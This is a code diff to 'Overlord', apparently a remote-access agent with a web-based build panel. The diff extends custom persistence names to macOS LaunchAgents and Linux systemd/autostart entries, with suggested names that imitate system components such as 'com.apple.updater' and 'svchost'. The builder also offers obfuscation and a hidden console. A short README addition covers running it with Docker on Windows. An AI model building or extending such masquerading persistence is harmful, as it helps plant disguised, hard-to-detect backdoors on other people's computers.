diff --git a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go index 9d5faa1..5b97273 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_darwin.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_darwin.go @@ -9,6 +9,7 @@ import ( "os" "os/user" "path/filepath" + "strings" "text/template" ) @@ -17,7 +18,7 @@ const launchAgentPlist = ` Label - com.overlord.agent + {{.Label}} ProgramArguments {{.ExePath}} @@ -34,12 +35,26 @@ const launchAgentPlist = ` ` +func binaryName() string { + if DefaultStartupName != "" { + return DefaultStartupName + } + return "agent" +} + +func plistLabel() string { + if DefaultStartupName != "" { + return DefaultStartupName + } + return "com.overlord.agent" +} + func getPlistPath() (string, error) { usr, err := user.Current() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil + return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", plistLabel()+".plist"), nil } func getTargetPath() (string, error) { @@ -47,11 +62,15 @@ func getTargetPath() (string, error) { if err != nil { return "", err } - return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil + return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", binaryName()), nil } func install(exePath string) error { + if DefaultStartupName != "" && !strings.HasPrefix(DefaultStartupName, "com.") { + return fmt.Errorf("startup name %q is invalid for macOS: LaunchAgent labels must start with \"com.\" (e.g. com.apple.updater)", DefaultStartupName) + } + targetPath, err := getTargetPath() if err != nil { return fmt.Errorf("failed to get target path: %w", err) @@ -88,8 +107,10 @@ func install(exePath string) error { } data := struct { + Label string ExePath string }{ + Label: plistLabel(), ExePath: targetPath, } @@ -167,8 +188,10 @@ func configure(exePath string) error { } data := struct { + Label string ExePath string }{ + Label: plistLabel(), ExePath: exePath, } diff --git a/Overlord-Client/cmd/agent/persistence/persistence_linux.go b/Overlord-Client/cmd/agent/persistence/persistence_linux.go index cbf8787..883a08e 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_linux.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_linux.go @@ -35,12 +35,19 @@ NoDisplay=false X-GNOME-Autostart-enabled=true ` +func binaryName() string { + if DefaultStartupName != "" { + return DefaultStartupName + } + return "agent" +} + func getSystemdPath() (string, error) { usr, err := user.Current() if err != nil { return "", err } - return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil + return filepath.Join(usr.HomeDir, ".config", "systemd", "user", binaryName()+".service"), nil } func getAutostartPath() (string, error) { @@ -48,7 +55,7 @@ func getAutostartPath() (string, error) { if err != nil { return "", err } - return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil + return filepath.Join(usr.HomeDir, ".config", "autostart", binaryName()+".desktop"), nil } func getTargetPath() (string, error) { @@ -56,7 +63,7 @@ func getTargetPath() (string, error) { if err != nil { return "", err } - return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil + return filepath.Join(usr.HomeDir, ".local", "share", "overlord", binaryName()), nil } func install(exePath string) error { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 7217a70..a2d17b2 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -219,6 +219,10 @@ const persistenceEmptyState = document.getElementById("persistence-empty-state") const persistenceWindowsSettings = document.getElementById("persistence-windows-settings"); const persistenceLinuxSettings = document.getElementById("persistence-linux-settings"); const persistenceMacSettings = document.getElementById("persistence-macos-settings"); +const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container"); +const startupNameMacosHint = document.getElementById("startup-name-macos-hint"); +const startupNameDefaultHint = document.getElementById("startup-name-default-hint"); +const startupNameError = document.getElementById("startup-name-error"); const platformInputs = document.querySelectorAll('input[name="platform"]'); function getSelectedPlatformFamilies() { @@ -233,6 +237,20 @@ function getSelectedPlatformFamilies() { }; } +function validateStartupName() { + if (!startupNameError) return true; + const families = getSelectedPlatformFamilies(); + const val = document.getElementById("startup-name")?.value.trim() || ""; + if (families.darwin && val && !val.startsWith("com.")) { + startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)"; + startupNameError.classList.remove("hidden"); + return false; + } + startupNameError.textContent = ""; + startupNameError.classList.add("hidden"); + return true; +} + function updatePersistenceSettingsVisibility() { if (!persistenceMethodContainer) return; @@ -256,9 +274,19 @@ function updatePersistenceSettingsVisibility() { if (persistenceMacSettings) { persistenceMacSettings.classList.toggle("hidden", !families.darwin); } + if (persistenceStartupNameContainer) { + persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily); + } + if (startupNameMacosHint) { + startupNameMacosHint.classList.toggle("hidden", !families.darwin); + } + if (startupNameDefaultHint) { + startupNameDefaultHint.classList.toggle("hidden", families.darwin); + } if (persistenceEmptyState) { persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily); } + validateStartupName(); } if (persistenceCheckbox && persistenceMethodContainer) { @@ -270,6 +298,8 @@ platformInputs.forEach((input) => { input.addEventListener("change", updateWindowsSectionVisibility); }); +document.getElementById("startup-name")?.addEventListener("input", validateStartupName); + updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); @@ -554,6 +584,11 @@ form?.addEventListener("submit", async (e) => { return; } + if (!validateStartupName()) { + document.getElementById("startup-name")?.focus(); + return; + } + const serverUrl = form.querySelector("#server-url").value.trim(); const rawServerList = form.querySelector("#raw-server-list")?.checked || false; const mutex = form.querySelector("#mutex")?.value.trim() || ""; @@ -565,10 +600,11 @@ form?.addEventListener("submit", async (e) => { 'input[name="enable-persistence"]', ).checked; const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-")); + const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-")); const persistenceMethods = hasWindowsTarget ? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value) : undefined; - const startupNameVal = hasWindowsTarget + const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget) ? (form.querySelector("#startup-name")?.value.trim() || "") : ""; const hideConsole = form.querySelector( @@ -604,7 +640,7 @@ form?.addEventListener("submit", async (e) => { obfuscate, enablePersistence, persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined, - startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined, + startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined, hideConsole, noPrinting, outputName: outputNameVal || undefined, diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 6b8262a..fb47dd0 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -350,16 +350,6 @@ -
-
- Startup File Name -
- -

Custom executable name used by all selected methods (e.g. svchost → svchost.exe). Leave blank for default randomized name.

-

- Uses LaunchAgents (com.overlord.agent.plist) for login persistence. + Uses LaunchAgents for login persistence. The startup name is used as the plist label and must start with com. (e.g. com.apple.updater).

+ + diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 83baebd..6529c09 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -713,7 +713,7 @@ func runBoundFiles() { ? config.persistenceMethods : ['startup']; sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" }); - if (os === 'windows' && config.startupName) { + if (config.startupName) { const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`; ldflags = `${ldflags} ${startupNameFlag}`; sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" }); diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index c04ae3b..255ef16 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -147,9 +147,16 @@ export async function handleBuildRoutes( : ['startup']; if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup'); const safeStartupName = - typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim()) + typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim()) ? startupName.trim() : undefined; + const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-')); + if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) { + return Response.json( + { error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' }, + { status: 400 }, + ); + } const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim()) ? outputName.trim() : undefined; diff --git a/README.md b/README.md index 7a2f9c6..218b089 100644 --- a/README.md +++ b/README.md @@ -134,6 +134,20 @@ docker --version docker compose version ``` +> **Windows users:** use `docker-compose.windows.yml` instead of the default `docker-compose.yml`. The Windows compose file is pre-configured for Docker Desktop on Windows (no `network_mode: host`, correct volume paths, etc.). + +Clone the repo or download the files, then run: + +```powershell +docker compose -f docker-compose.windows.yml up -d +``` + +To rebuild after an update: + +```powershell +docker compose -f docker-compose.windows.yml up --build -d +``` + ### Linux (Debian, official apt repo method) Official docs: